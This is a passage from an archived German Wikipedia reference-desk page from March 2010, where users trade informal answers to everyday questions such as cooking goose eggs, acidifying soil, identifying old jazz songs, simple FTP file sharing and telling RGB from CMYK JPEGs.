Es geht wohl nicht nur um Größe und Gewicht, sondern auch um die Dicke der Schale. Erfahrungsberichte, die man recht mühelos ergooglen kann, reichen von "9 Minuten" über "exakt 12 Minuten mit 10 Sekunden abschrecken" bis hin zu "15 Minuten" - wohlgemerkt immer für ein weichgekochtes Ei.
Kleiner Tipp am Rande: es soll ein wenig streng schmecken - nicht unbedingt für jeden empfehlenswert. --Snevern (Mentorenprogramm) 22:16, 24. Mär. 2010 (CET)[Beantworten]
das is so 'ne sache mit dem probieren...hab nämlich nur ein ei...übrigens hab ich gehört dass man eier ohnehin nicht abschrecken braucht, weiss nicht mehr wie es begründet wurde, und ich schreck sie auch nicht ab...--62.226.102.71 22:23, 24. Mär. 2010 (CET)[Beantworten]
Das ist aber irgendwie abschreckend. --84.191.38.226 22:55, 24. Mär. 2010 (CET)[Beantworten]
Wie wär's mit Rühr- oder Spiegelei? Siehste viel besser ob es fertig ist. --88.130.185.126 22:57, 24. Mär. 2010 (CET)[Beantworten]
Mit dem Abschrecken ist es wie bei anderen Lebensmitteln: ohne Abschrecken gart es noch ein bisschen weiter. Und das gilt beim Ei natürlich besonders, wegen der idealen Form. Und je größer das Ei ist, desto länger gart es auch noch, wenn man es aus dem kochenden Wasser schon rausgenommen hat. Ob man es abschrecken will, weil es sich dann leichter pellen lässt, ist eine andere Frage. Übrigens würde ich auch, wenn es nur ein Ei ist, auf Nummer Sicher gehen und Rührei draus machen. Musik dazu: Yesterday... BerlinerSchule. 23:08, 24. Mär. 2010 (CET)[Beantworten]
Genau. 12 - 15 Min. ist auch meine Erfahrung. --Ch.Weg 00:52, 25. Mär. 2010 (CET)[Beantworten]
Gut durchkochen, Eier von Wassergeflügel sind häufig mit Salmonellen belastet, meines Wissens in Deutschland daher auch nicht verkehrsfähig. -- Uwe G. ¿⇔? RM 16:19, 25. Mär. 2010 (CET)[Beantworten]
Doch, doch. Gänseeier und Enteneier werden in Deutschland schon gehandelt (legal). Halt nur ziemlich selten. Der Preis von Gänseeiern scheint so um 1 bis 2 Euro zu liegen. Rainer Z ... 18:49, 25. Mär. 2010 (CET)[Beantworten]

Senkung des ph Wertes

Ich möchte keinen Torf verwenden, um den Boden ph Wert zu senken. Welche Möglichkeiten gibt es? --217.251.158.105 22:23, 24. Mär. 2010 (CET)[Beantworten]

kalk aus dem gartencenter? --Heimschützenzentrum (?) 22:40, 24. Mär. 2010 (CET)[Beantworten]
Wäre das nicht kontraproduktiv? Er will den Boden doch säuern. Ungereinigter Schwefel wird von Gärtnern noch empfohlen. Ohne Gewähr. 85.180.201.217 23:05, 24. Mär. 2010 (CET)[Beantworten]
oh ja - ich dachte er wollte weniger sauren boden... wie wärs dann mit zitronensäure-pulver aus dem putzmittelladen? --Heimschützenzentrum (?) 23:46, 24. Mär. 2010 (CET)[Beantworten]
Vieleicht hilft dir dies und das weiter.--91.14.78.224 09:44, 25. Mär. 2010 (CET)[Beantworten]

Einwohner von Miami

Wie nennt man die Einwohner von Miami bzw. wie nennen sie sich selbst? --84.164.94.45 22:27, 24. Mär. 2010 (CET)[Beantworten]

Die englische WP nennt als Demonym Miamian. Grüße 85.180.201.217 22:33, 24. Mär. 2010 (CET)[Beantworten]
Aber das wäre dann ja auch Englisch. Wir nennen Franzosen ja auch nicht "French". In diesem Fall dürfte es aber nicht zu sehr abweichen. Ich ginge mal von Miamianer, also als Adjektiv miamianisch aus.--213.168.117.74 05:27, 25. Mär. 2010 (CET)[Beantworten]
+1 Mir ist die Analogie zw. Miami und Hawaii aufgefallen, wo beides Mal - im Englischen - "-an" angehängt wird (Hawaiian). Deswegen (Hawaiianer) auch Miamianer. Gibt es noch mehr engl.=> dt. Analogien zu Orten/Städten, die auf "i" enden? G! GG nil nisi bene 09:09, 25. Mär. 2010 (CET)[Beantworten]
Corpus Christi -> Corpus Christianer? --Joyborg 10:12, 25. Mär. 2010 (CET)[Beantworten]
Aber klar doch ! G! GG nil nisi bene 10:50, 25. Mär. 2010 (CET)[Beantworten]

25. März 2010

Alte Jazz-Lieder gesucht

Hallo,

Ich suche ein paar alte Jazz-Lieder, die sich einmal auf den Platten meiner Großmutter befanden. Ich hoffe da kann mir jemand weiterhelfen :-)

Der Text des Ersten geht ungefähr so:

Irgendwo in der Welt
Liegt ein kleines weinumranntes Haus
Und als Kind ging ich dort ein und aus
Dort ist meine Heimat

Das zweite:

Oh Marie, oh oh Marie:
Immer wenn ich an dich denke,
Zittern mir die Handgelenke
Und die Knie!

Und dann noch dieses hier:

[xxx] *-ingt,
Sing, Baby, sing!
Was auch der Morgen bringt,
Sing, Baby, sing!
Liederfrohe Jugend gilt stets als modern,
Drum sing, Baby, sing, Baby, sing!

Ich weiß, das ist alles relativ kitschig, aber ich finde es ungewöhnlich dass man jeden abhorrenten Mist im Internet findet (sogar noch ältere deutsche Jazz-Lieder wie "Spiel mir eine alte Melodie"), nur nicht diese paar alten Lieder. Ich fände das wirklich sehr schade wenn die nicht mehr aufzufinden wären. Vor allem weil sich über die Produktionsfirma "Düsseldorf Records" rein gar nichts im Internet herausfinden lässt...

Danke im Voraus,

--213.168.117.74 05:25, 25. Mär. 2010 (CET)[Beantworten]

Google findet zumindest das erste Lied: den Foxtrot Irgendwo in der Welt steht ein kleines weinumranktes Haus von Evelyn Rehs, hier bei Youtube mit einer Aufnahme für Telefunken des Orchesters Adalbert Lutter und (gemäss Kommentar) Paul Dorn. --80.219.84.44 09:55, 25. Mär. 2010 (CET)[Beantworten]
Das dritte ist "Sing Baby Sing" von Erhard Bauschke. --77.176.206.204 13:45, 25. Mär. 2010 (CET)[Beantworten]

Zum zweiten: hier in der Google-Buchsuche findet sich z.B. der folgende Reim, der wahrscheinlich zur Originalmelodie von „O Marie, o marie“ gesungen wurde:

Onanie Onanie
Immer wenn ich an dich denke
Zittern mir die Handgelenke
Und die Knie
Denn als Handarbeiter bin ich ein Genie

Naja. Den Rest kriegt man leider mangels Vorschau nicht zu lesen. Ein anderer schreibt von einem Schlagertext:

Immer wenn ich an dich denke,
schlackern mir die Kniegelenke.
Oh, Marie, oh, Gerda, Ursula, Marie.

... was aber auch nicht der echte Text zu sein scheint. --80.219.84.44 23:47, 26. Mär. 2010 (CET)[Beantworten]

AJOL

Hallo! Hat irgendjemand von Euch Zugriff auf AJOL, African Journals OnLine? Doc Taxon @ Discussion 06:02, 25. Mär. 2010 (CET)[Beantworten]

Nein, aber zu einigen der Journals müsste ich Zugang haben. Was suchst du? --El Grafo 11:50, 25. Mär. 2010 (CET)[Beantworten]
Es geht um einen Artikel, gesucht für die WP:BIBR: http://ajol.info/index.php/jassa/article/view/16877 --тнояsтеn 15:11, 25. Mär. 2010 (CET)[Beantworten]
Ja hab ich. PM bitte an mich, dann schick ich es. Gruss --MKP:W  12:40, 26. Mär. 2010 (CET)[Beantworten]
Super, danke! Habe dir gerade geschrieben und leite es dann direkt an Benutzer:Toffel weiter, für den der Artikel bestimmt ist. --тнояsтеn 12:55, 26. Mär. 2010 (CET)[Beantworten]

Warum zieht Robben das Trikot aus ?

Welche Bedeutung hat es, dass ein Fussballspieler nach einem Tor sein Trikot auszieht ? A. Robben hatte ja wirklich allen Grund nach seinem großartigen Alleingang an der rechten Aussenlinie mit dem anschließenden entscheidenen Tor zu Jubeln, aber welche Symbolik steht hinter dem Ausziehen des Trikots ? Bei Zeigen seines athletischen nackten Oberkörpers (Neid) könnte ich ja noch das männliche Imponiergehabe verstehen, aber er hatte ja eh noch ein T-Shirt darunter an, man (Frau) konnte seinen muskulösen Waschbrettbauch ja gar nicht bewundern. Also welche so wichtige Bedeutung hat das Ausziehen des Trikots, dass ein Spieler dafür sogar eine gelbe Karte riskiert ? StephanPsy 07:40, 25. Mär. 2010 (CET)[Beantworten]

"Das könne man "mit einer Tasse Tee in der Hand im warmen Presseraum" nicht kapieren, sagt Thomas Doll, Trainer von Borussia Dortmund, und überhaupt, "der Fußball lebt von Emotionen". Im Moment des maximalen Erfolgs schwellen die Muskeln eines Fußballers in der subjektiven Wahrnehmung derart an, dass es im Trikot einfach zu eng wird. Der Nuklearphysiker Dr. Bruce Banner lässt grüßen, der sich aufgrund eines Unfalls mit einer Gamma-Bombe in Extremsituationen in das muskulöse Monster Hulk zu verwandeln pflegte, wobei ihm immer das Hemd aufplatzte." http://www.sueddeutsche.de/sport/557/433306/text/ --Da7id 08:08, 25. Mär. 2010 (CET)[Beantworten]

Danke für diesen Link, woraus ich ersehen kann, dass auch andere an dieser Symbolik rätseln. Ich starte mal selber einen Erklärungsversuch: die Symbolik ist entstanden aus dem Zeigen des männlichen nackten Oberkörpers, hat sich dann als Geste des Triumphes so verselbstständigt, dass die Symbolik auch mit untergezogenem Unterhemd als Triumph verstanden wird, und jetzt zeigt der Spieler: ich bin so großartig, dass mir auch eine gelbe Karte nichts ausmachen kann. Wäre das so denkbar ? StephanPsy 08:28, 25. Mär. 2010 (CET)[Beantworten]
Also in Wahrheit tun das die männlichen Fussballer in der Hoffnung, dass es sich auch bei den Frauen dauerhaft durchsetzt... --Snevern (Mentorenprogramm) 08:16, 25. Mär. 2010 (CET)[Beantworten]
Schon mal ein Frauen-Fußballspiel gesehen? Die machen das längst auch. --DuckobertDag 09:31, 25. Mär. 2010 (CET)[Beantworten]
Eben: die Bemühungen zeigen Erfolg. QED. --Snevern (Mentorenprogramm) 09:35, 25. Mär. 2010 (CET)[Beantworten]
Nach der neuen Hauptseitenschockfotoorientierung fällt es nicht schwer, zu erraten, was für ein Lichtbild dermaleinst - sowie exzellent - den AdT "Deutsche Fußballnationalfrauschaft" zieren wird. BerlinerSchule. 16:19, 25. Mär. 2010 (CET)[Beantworten]
Vielleicht sieht er einfach gerne gelb. SCNR. --MrBurns 18:56, 25. Mär. 2010 (CET)[Beantworten]
Gab's da nicht mal so Vorfälle, dass die Spieler unter dem Trikot T-Shirts mit aufgedruckter (und vom Auftraggeber reichlich vergüteter) Reklame getragen haben? Und dann Zack! im Moment des größten medialen Impakts, Trikot ausziehen! Wurde dann auch verboten, glaube ich. Vielleicht war das bei Robben nur eine alte Angewohnheit aus jenen Tagen? Ugha-ugha 20:41, 25. Mär. 2010 (CET)[Beantworten]
@ BerlinerSchule: Originalton Brandi Chastain: It's Not About the Bra (Es geht nicht um den BH). --Concord 21:34, 25. Mär. 2010 (CET)[Beantworten]
Wenn ich mich recht erinnere, wurden damals auch ästhetische Gründe angeführt. Allerdings konnte ich das nie verstehen. Gerade deshalb habe ich überhaupt erst Fußball geguckt ... ;) --92.226.84.186 21:49, 25. Mär. 2010 (CET)[Beantworten]
Trkotausziehen ist generell verboten, egal was man darunter anhat. Ebenfalls verboten ist es, sich das Trikot anstatt es auszuziehen nur übder den Kopf zu stülpen (letzteres wurde eine Zeitlang als Methode verwendet, um der gelben Karte zu entgehen, wurde aber mittlerweile ebenfalls vom IFAB verboten). --MrBurns 04:52, 26. Mär. 2010 (CET)[Beantworten]

Einfacher Online-FTP-Client gesucht

Hallo!

Wenn Freunde mir größere Dateien schicken wollen, benutze ich dafür gerne meinen FTP-Server. Die weniger technisch versierten unter denen haben allerdings oft noch nie was von FTP gehört, und teilweise möchte ich ihnen auch nicht zumuten, extra wegen mir einen Client zu installieren. Es gibt ja einige Web/Java-basierte Clients wie diesen, doch auch da muß man teilweise noch Servernamen und Benutzerkennungen eintragen, was die DAU-Kompatibilität massiv gefährdet.

Ich suche daher einen FTP-Client, der zum einen leicht zu bedienen ist, und dem man möglichst direkt über die URL den Server- und Benutzernamen mitgeben kann, so dass der Anwender direkt nach klick auf den entsprechenden Link mit dem Server verbunden ist. Das Ganze entweder Online, oder zum Installieren auf einem Webserver (der zwar PHP und Python, aber kein SQL kann). Leider bringt Google zwar viel hervor, aber nicht genau das was ich suche, daher hoffe ich, das einer von euch einen Tipp für mich hat. Schon mal vielen Dank! --85.180.83.76 08:25, 25. Mär. 2010 (CET)[Beantworten]

Zum Versenden größerer Dateien empfehle ich anstelle eines DAU-fähigen FTP-Dienstes einen Filesharing-Dienst wie rapidshare. Das kriegen auch DAUs ohne Vorinstallationen hin - danach wird der Link per email weitergegeben, und der Empfänger lädt sich die Datei wieder runter. Bewährtes Verfahren - und genau dafür gibt es eigentlich Filesharing-Seiten (auch wenn sie in der Praxis vielfach zur Umgehung gesetzlicher Verbote genutzt werden und daher einen schlechten Ruf genießen). --Snevern (Mentorenprogramm) 08:49, 25. Mär. 2010 (CET)[Beantworten]
Ja aber, diese Filesharing Server begrenzen die Downloadgeschwindigkeit ins unerträgliche, 100 Mb kann da schon mal eine Stunde dauern. Es sei denn man meldet sich an und bezahlt.--91.56.212.217 09:16, 25. Mär. 2010 (CET)[Beantworten]
Geht nicht einfach der Windows Explorer als Client? --Mps 09:20, 25. Mär. 2010 (CET)[Beantworten]
:D tja, so naheliegend hatte ich garnicht gedacht, vielen Dank! Zumindest unter Windows 7 geht ftp://username:passwort@server.tld hervorragend, auch mit Upload. Kann mir vielleicht noch einer bestätigen, ob das unter XP auch tut? --85.180.83.76 09:36, 25. Mär. 2010 (CET)[Beantworten]
Ja, das ging auf jeden Fall auch unter XP. Und sogar schon früher, wenn ich mich recht erinnere. --80.219.84.44 09:59, 25. Mär. 2010 (CET)[Beantworten]
Hatte ich auch so in Erinnerung, danke. Irgendwie war ich - da mein Standard-Browser Firefox zumindest von Haus aus kein FTP-Upload beherrscht - so Betriebsblind, dass ich diese einfache Möglichkeit (die ich auch seit vielen Jahren kenne) völlig verdrängt habe. --85.180.83.76 10:05, 25. Mär. 2010 (CET)[Beantworten]

Ich benutze die Firefox Erweiterung "FireFTP" und bin damit sehr zufrieden. Ist schnell und einfach konfiguriert und leicht zu bedienen. FreddyE 11:47, 26. Mär. 2010 (CET)[Beantworten]

Frage nach einer Familie Wolff von Lith

Diese Anfrage aus den Niederlanden erreichte soeben das Support-Team. Ich gebe sie hier leicht anonymisiert und verändert wieder:

Von:  	
"xxx" <xxx@onsmail.nl>
An: 	
<info-de@wikimedia.org>
Betreff: 	
xxx/Wolff von Lith.
Erstellt: 	
25.03.2010 08:34:24
Anlage: 	
HTML-Attachment 	Herunterladen 	754 Bytes
Guten Morgen allerzeits.
Vergebt mir wenn das Deutsch nicht so gut ist. Ich habe eine Frage: Ist es möglich dasz
sie eine Antwort darauf haben, ob es damals im Kreis Rödingen
eine Adelsfamilie Wolff von Lith gab?
Im voraus herzlichen Dank   Grüsze aus dem sonnige Holland    xxx xxx

Ich habe den Absender auf diese Seite aufmerksam gemacht. --Schlesinger schreib! 09:50, 25. Mär. 2010 (CET)[Beantworten]

Evtl. ist dieser Link http://www.genealogy.net hilfreich. --Gwexter 10:05, 25. Mär. 2010 (CET)[Beantworten]
  • Der Kollege sollte sich in der kostenlosen (und freundlichen) Westfalen-Genealogie-Liste] anmelden und dort seine Frage stellen (Der Text dieser Seite kann auch in Niederländisch angezeigt werden). Wegen der häufigen Grenzübergänge lesen dort auch zweispachige Niederländer mit. Viel Erfolg!
  • [Übergooglung:] De collega's mogen zich registreren in de vrije (en leuke) Westfalen Genealogie Lijst] en dan hun vraag stellen. (De tekst van deze pagina kan worden weergegeven in het Nederlands). Door frequente grensovergangen lezen er ook tweetalige Nederlanders mee. Wij wensen u veel succes! G! GG nil nisi bene 10:41, 25. Mär. 2010 (CET)[Beantworten]
Es fiele mir nicht ein, deine Weisheit in genealogischen Fragen in Zweifel zu ziehen, aber wenn dieses Rödingen gemeint ist, liegt das im Kreis Düren und also eher weniger in Westfalen, sondern zwischen Aachen und Köln. Ist da nicht eine andere Genealogy-Liste zuständig? Joyborg 10:57, 25. Mär. 2010 (CET) PS: Siehe auch hier.[Beantworten]
Ja, ja, nee, nee! <= Das wollte ich immer schon mal schreiben! Die frühere Rheinprovinz wird in der Westfalen-Liste mitgemacht. "Van Lith" habe ich gefunden und wenn ich an einen Ursprung aus den Niederlanden denken, erscheint mir "Adel" nicht unbedingt zwingend. Die Dame, die die Westfalen-Liste administriert ist ein Schatz! G! GG nil nisi bene 11:52, 25. Mär. 2010 (CET)[Beantworten]
Ich hab jetzt die Übergooglung ein bisschen korrigiert. --MannMaus 12:58, 25. Mär. 2010 (CET)[Beantworten]
Hartelijk dank, ManMuis ! G! GG nil nisi bene 13:38, 25. Mär. 2010 (CET)[Beantworten]
Gragg gedaan, grijze oude zak. --MannMaus 17:20, 25. Mär. 2010 (CET)[Beantworten]

D-down beim Gitarrespielen

Ich habe gehört, dass man die Saite "D" auf "E" runterstimmt, kann man den Ton einfacher greifen. Das ganze heißt "D-down". Wo finde ich einen Artikel dazu bei Wikipedia? Die deutsche und englische Wikip.-Ausgabe hat nichts dazu, vielleicht ist es ein einfacherer Artikel. D-down müßte evtl. auch mal bei den fehlenden Artikel im Portal Musik auftauchen. Die nächste Frage ist, wieso ist das so (andere Akkorde)? --217.228.123.235 10:25, 25. Mär. 2010 (CET)[Beantworten]

Dazu steht hier etwas: Offene Stimmung und Dropped-D-Stimmung. --91.36.97.190 10:28, 25. Mär. 2010 (CET)[Beantworten]
D-down als redirect zu Dropped-D-Stimmung eingerichtet. Gruß -- Dr.cueppers - Disk. 13:44, 25. Mär. 2010 (CET)[Beantworten]
... Mal abgesehen davon, dass man die tiefe „E”-Seite auf „D“ runterstimmt... Also nicht „von D runter“ sondern „nach D runter“ --> D-down. --Taxman¿Disk? 19:16, 25. Mär. 2010 (CET)[Beantworten]

Handys

Was mich mal interessieren würde ist wie hoch eigentlich die reinen Herstellungskosten, also Material und Arbeitskosten, von einem Handy sind. --85.16.175.25 11:44, 25. Mär. 2010 (CET)[Beantworten]

Etwa 10%, eher noch weniger. Die ganz billigen mitunter etwas mehr.--91.56.213.32 12:32, 25. Mär. 2010 (CET)[Beantworten]
Hier ein Beispiel - es hängt also davon ab, WAS in einem Handy drinsteckt. G! GG nil nisi bene 16:17, 25. Mär. 2010 (CET)[Beantworten]
10% von was? Nokia hat mal angegeben, dass der Umsatz im Schnitt ca. 100€/Handy ausmacht. Davon wären 10% also ca. 10€. Allerdings sind diese 100€ der Netto-Herstellerpreis, nicht der Brutto-Endkundenpreis. Zu den Herstelklungskosten beim IPhone: es ist bekannt, dass Endkkunden bei vertragsfreien Handys überterteuerte Preise zahlen. Normalerweise ist diie gesamte Handelsspanne deutlich geringer (z.B. bei CPUs sind nur ca. 20%-30% zwischen dem Herstellerpreis, der bei einer Abnahmen von min. 1000 Stück gilt und dem geizhals-Bestpreis, das weiß ich, wil die Herstelelrpreise für CPUs von Intel und AMD kann jeder nachlesen udn sie werden auch öfters in einschlägigen Medien veröffentlicht, siehe z.B. [20]) und ich bin mir sicher, der Handynetzbetreiber zahlt für die subventionierten Handys deutlich weniger. --MrBurns 18:45, 25. Mär. 2010 (CET)[Beantworten]
PS: zu beachten ist auch, dass beim IPhone-Beispiel das nur die Preise für die Teile sind, der Zusammenbau und die Qualitätskontrolle sind da nicht miteingerechnet. --MrBurns 18:50, 25. Mär. 2010 (CET)[Beantworten]
Die reinen Materialkosten betragen 172,46 Dollar, hinzu kommen Fertigungskosten in der Höhe von 6,50 Dollar. - Aus dem Link von GG. Sind also eingerechnet --85.180.76.42 20:05, 25. Mär. 2010 (CET)[Beantworten]
Ok, ich hätt mir den verlinkten artikel vielleicht genauer durchlesen sollen. --MrBurns 04:33, 26. Mär. 2010 (CET)[Beantworten]

Kosovo beim Eurovision Song Contest

Hallo, wann wird das Kosovo beim Eurovision Song Contest teilnehmen? Das kosovo hat seit 2 jahren die unabhängigkeit ausgefrufen daher sollte es doch vom EBU anerkannt werden oder sehe ich das falsch? --85.180.198.89 14:28, 25. Mär. 2010 (CET)[Beantworten]

Musst Du die EBU fragen, nicht die Wikipedia-Auskunft. --20% 14:32, 25. Mär. 2010 (CET)[Beantworten]
WoW, sollche wie dich wünsche ich sowas von bei der Wikipedia (Ironie), dich sollte man sperren!!! Wikipedia wird immer besser!!! --85.180.198.89 14:35, 25. Mär. 2010 (CET)[Beantworten]
Könnte man vielleicht auch so beantworten: So lange keine Sendeanstalt aus dem Kosovo Mitglied bei EBU geworden ist können diese auch nicht am Contest teilnehmen. Siehe Liste Stand: 2009 Aktive Mitgliederliste --Nur Leser 14:48, 25. Mär. 2010 (CET)[Beantworten]
Was erwartest du dir für eine Antwort? Ok, wenn es schon einen Plan gäbe, würde sich vielleicht jemand finden, der ihn kennt und dir weiterhelfen kann. Wenn es keinen solchen Plan gibt, wird dir keiner eine Antwort auf deine erste Frage geben können. Und "daher sollte es doch vom EBU anerkannt werden oder sehe ich das falsch?" ist keine Wissensfrage, sondern allerhöchstens eine Diskussionsgrundlage. Und für Diskussionen ist diese Seite nicht gedacht. --Eike 14:52, 25. Mär. 2010 (CET) PS: Die Einrückung zeigt, auf wen man antwortet, daher hier absichtlich dieselbe wie bei Nur Leser, da ich nicht auf ihn, sondern auf 85.180.198.89 reagiere.[Beantworten]

Was ist eine Gastrolle beim Film?

In manchen Filmen wird im Vor- oder Abspann die Rolle des Schauspieles xxxx als "Gaststar" bezeichnet.. Nur macht das im Film doch keinen Sinn, weil ein Film doch sowieso nur einmal besetzt wird und das Casting somit feststeht? Wenn in einer Fernsehserie ein Gaststar auftritt, kann ich seine spezielle Vorstellung verstehen, aber beim Film..?! Weiß jemand, was es damit auf sich hat? Bedeutet das, xxxx kam während der Dreharbeiten zufällig vorbei und wurde irgendwie eingearbeitet? Gruß, Holstenbär 15:26, 25. Mär. 2010 (CET)[Beantworten]

Ich vermute mal, das es sich dabei um Pilotfilme oder dergleichen handelt, ansonsten würde es nämlich wirklich keinen Sinn machen --91.115.182.225 15:34, 25. Mär. 2010 (CET)[Beantworten]
Gastrolle heißt "starring as himself", d.h. der Schauspieler spielt sich selbst, keinen fiktiven Charakter. --20% 15:37, 25. Mär. 2010 (CET)[Beantworten]
das wiederum macht Sinn--91.115.182.225 15:39, 25. Mär. 2010 (CET)[Beantworten]
das sind dann meistens bands oder etwas in der art. grüße, --itsnotuitsme d | b 15:46, 25. Mär. 2010 (CET)[Beantworten]
Gastrolle muss keineswegs "starring as himself" heißen. Und es gibt Gastrollen auch nicht nur in Pilotfilmen. Ein Schauspieler hat in einer Filmproduktion eine Gastrolle, wenn er nicht zum regulären, im Rahmen des Castings zusammengestellten Schauspielerensembles gehört. Das kann tatsächlich ein "zufälliger Besucher" sein (zufällig ist hier deeeeehnbar), ein besonders namhafter Schauspieler, der den Wert einer kleinen Produktion erhöhen soll, ein Cameo (starring as himself) oder dergleichen. Es muss auch gar nicht wirklich ein (berufsmäßiger) Schauspieler sein: Ken Follett spielte in der Verfilmung eines seiner Romane eine Gastrolle (und zwar keineswegs sich selbst): [21]. Gruß Snevern (Mentorenprogramm) 16:00, 25. Mär. 2010 (CET)[Beantworten]
Ich wollte gerade sagen: Wenn der Schauspieler größer ist als die Rolle oder umgekehrt der Film kleiner als der Schauspieler. Julia Roberts wäre in einem Dokumentarfilm über Bielefeld ein Gaststar... BerlinerSchule. 16:14, 25. Mär. 2010 (CET)[Beantworten]
Eine Gastrolle ist im Mainstream auf eine Szene begrenzt, trägt nichts wesentliches zur Handlung bei. Sozusagen ein prominenter Komparse, der aber nicht Schauspieler sein muß, das kann auch ein Politker oder sonst wer ein Promi sein. Die Bezahlung ist auch mehr symbolisch. Bei Serien, da kann die Handlung schon mehr sein, ist aber auf eine Episode beschränkt. Und natürlich gibt es Mischformen. Der Begriff dient der Imagepflege, weil niemand so eine Pipirolle als Aushängeschild gewertet haben will. Aber was tut man nicht alles um bekannt zu bleiben, bevor man doch bei Tesafilm landet...--91.56.213.32 16:42, 25. Mär. 2010 (CET)[Beantworten]
Ach ja, Julia Roberts. Die hat sich ja quasi in Notting Hill selbst gespielt. Interessant war aber die Konstellation in einem der "Ocean ..."-Filme. Da hat sie eine Frau gespielt, die sich als Julia Roberts ausgibt. Das war aber wohl keine Gastrolle, da Julia Roberts zum "Team" der Filmserie gehörte. --Rabe! 16:30, 25. Mär. 2010 (CET)[Beantworten]
Einem/r Schauspieler(in) wird eine "Gastrolle" angeboten, wenn er/sie - vom Ruf her - "eigentlich" nur für eine Hauptrolle in Frage käme, aber er/sie nur kurz bzw. in einer Nebenrolle auftritt. Vorteil für ihn/sie: Bringt sich in Erinnerung mit gesonderter Nennung (erscheint nicht im Abspann an 17. Stelle). Vorteil für den Produzenten: Aufwertung des Stückes ohne große Gagenaufwendung. Gruß -- Dr.cueppers - Disk. 16:57, 25. Mär. 2010 (CET)[Beantworten]
Als inhaltliche Ergänzung: Ich entsinne mich dunkel, daß es auch Politiker gibt, die in Filmen in Gastrollen aufgetreten sind. --84.191.60.120 17:50, 25. Mär. 2010 (CET) sry, wurde oben schon angemerkt. --84.191.60.120 17:52, 25. Mär. 2010 (CET) [Beantworten]

Feststellen: RGB oder CMYK?

Wie kann ich auf einem Rechner ohne Adobe Photoshop feststellen, ob ein jpeg in RGB- oder CMYK-Modus abgespeichert ist? Welche Programme vermögen das zu sehen? --KnightMove 16:16, 25. Mär. 2010 (CET)[Beantworten]

gibt es überhaupt einen CMYK-Modus beim jpeg? --Heimschützenzentrum (?) 18:20, 25. Mär. 2010 (CET)[Beantworten]
Ja, kein Problem. Es kann aber Darstellungsprobleme geben. Macs z. B. können mit beiden Modi umgehen, da merkst du nichts. Wenn ich ein CMYK-JPG aus Versehen in der Wikipedia hochlade, sieht es im Browser aus wie eine Art Negativ, Windows-Nutzer sehen nur eine schwarze Fläche. Rainer Z ... 18:39, 25. Mär. 2010 (CET)[Beantworten]
Auf dem Mac per ⌘–i (bzw. „Dateiinformation“) kann man unter „weitere Informationen“ den Farbraum einsehen. Unter Windows XP konnte ich das mit „Eigenschaften“ leider nicht finden, Windows 7 zeigt es. --elya 22:10, 25. Mär. 2010 (CET)[Beantworten]

Z.B. mit ExifTool.91.89.100.251 09:06, 26. Mär. 2010 (CET)[Beantworten]

Frechheit siegt

Heute ist mir der alte Spruch wieder eingefallen, obwohl ich kein Vertreter dessen bin, aber woher kommt dieser Schmarrn, Christlich ist es sicher nicht --91.115.182.225 17:08, 25. Mär. 2010 (CET)[Beantworten]

Es ist eine andere Art, "Wer wagt, gewinnt" zu sagen: frech bedeutet hier nicht respektlos, sondern mutig, denn das ist die ursprüngliche Bedeutung des Wortes. --Snevern (Mentorenprogramm) 17:19, 25. Mär. 2010 (CET)[Beantworten]
wenn du mir sagst, dass jeder so einen Kleinen Einsager wie dich im Ohr hat, dann lass ich es gelten, ich kenn es des öftern als die respektlose Variante --91.115.182.225 17:20, 25. Mär. 2010 (CET)[Beantworten]
Ja, gehst Du denn mit geschlossenen Augen durchs Leben? Das ist eine Volksweisheit, die auf Beobachtung und Erfahrung gründet und sich kernig mitteilt. Das ist beileibe nicht Grundmaxieme einer Lehre und steht auch nicht zur intellektuellen Diskussion. Auf Sonne folgt Regen ... --Dansker 17:31, 25. Mär. 2010 (CET)[Beantworten]
hm, Volksweisheit kann ich verstehen, und Sonne/Regen auch, aber willst du mir erklären das man in der Weisheit des Volkes festgestellt hat, das Frechheit (ohne Mut/ einfach pur) des öfteren den Sieg hinweg getragen hat - das passt besser auf ein Gaunerjargon --91.115.182.225 17:39, 25. Mär. 2010 (CET)[Beantworten]
Hej 91115182225, hast Du den Link Volksweisheit gelesen und das, was Snevern schrieb? Durch Experimentierfreude und Wagemut ist die Menschheit an neue Ufer gelangt, nicht durch Bedenkenträger und Feiglinge. Aber "Steter tropfen höhlt den Stein" ist auch eine Volksweisheit. Wo willst Du auf so weichem Boden den Hebel Deiner Argumente ansetzen? Wie gesagt: Das ist kein Gebiet für feingliedrige Diskussionen. Eine Krähe hackt der anderen kein Auge aus / Der Mensch ist des Menschen Wolf --Dansker 17:55, 25. Mär. 2010 (CET)[Beantworten]
jetzt hab ich es verstanden, ab und zu muss es nicht OMA-tauglich sondern Deppen-sicher sein, es handelt sich dabei also um eine plumpe Volksweisheit welchen keinen Wahrheitsanspruch beinhaltet/beansprucht sondern eine Art von Ermutigung für Schüchterne sein soll - hätte ja auch sein können, das es ähnlich wie der Fürst von Niccolò Machiavelli ein Verhaltensregel-Buch für Diebe gibt --91.115.182.225 18:14, 25. Mär. 2010 (CET)[Beantworten]
+1 Und Rotwelsch (s. auch Gerold Edlibach) ist etwas völlig anderes als eine Volksweisheit oder Redensart. --84.191.60.120 18:10, 25. Mär. 2010 (CET)[Beantworten]

GEO-Daten Baltikum

Moin zusammen,

ich bin auf der Suche nach GEO-Daten der Staaten Estland, Lettland und Litauen. Also Orte, Postleitzahlen, GPS-Angaben – wie es auch bei Navis Verwendung findet.

Kostenpflichtige Dienste wie geopostcodes.com habe ich wohl gefunden, aber natürlich wäre mir die „freie“ Version lieber.
Gibt es sowas wie OpenGeoDB fürs Baltikum? Oder hat jemand einfach so diese Daten in Tabellenform vorliegen? Gerne auch nur teilweise (also nur PLZ oder nur GPS oder nur einer der drei Staaten)!

Vielen Dank für jedwede Hilfe! —[ˈjøːˌmaˑ] 17:14, 25. Mär. 2010 (CET)[Beantworten]

Mit Postleitzahlen kann ich aushelfen: [22] --Snevern (Mentorenprogramm) 17:23, 25. Mär. 2010 (CET)[Beantworten]
Snevern, das ist die kostenpflichtige Seite, von der ich oben schrieb! ;-) Ich will nicht einzelne Orte nachschlagen sondern alle Orte mit den genannten Daten als Liste haben. Das würde bei geopostcodes.com um die 30 Euro pro Land kosten. Winkewinke —[ˈjøːˌmaˑ] 17:28, 25. Mär. 2010 (CET)[Beantworten]
Sorry, habe die Identität der Links übersehen. Beim Ausprobieren kam ich nämlich nicht auf eine Kostenpflicht - stattdessen erhielt ich zusätzlich zu den PLZ auch die Koordinaten. Aber du hast recht, wohl immer nur als kleine Liste (Kreis/Region) und nicht als Gesamtliste für den ganzen Staat. --Snevern (Mentorenprogramm) 17:40, 25. Mär. 2010 (CET)[Beantworten]
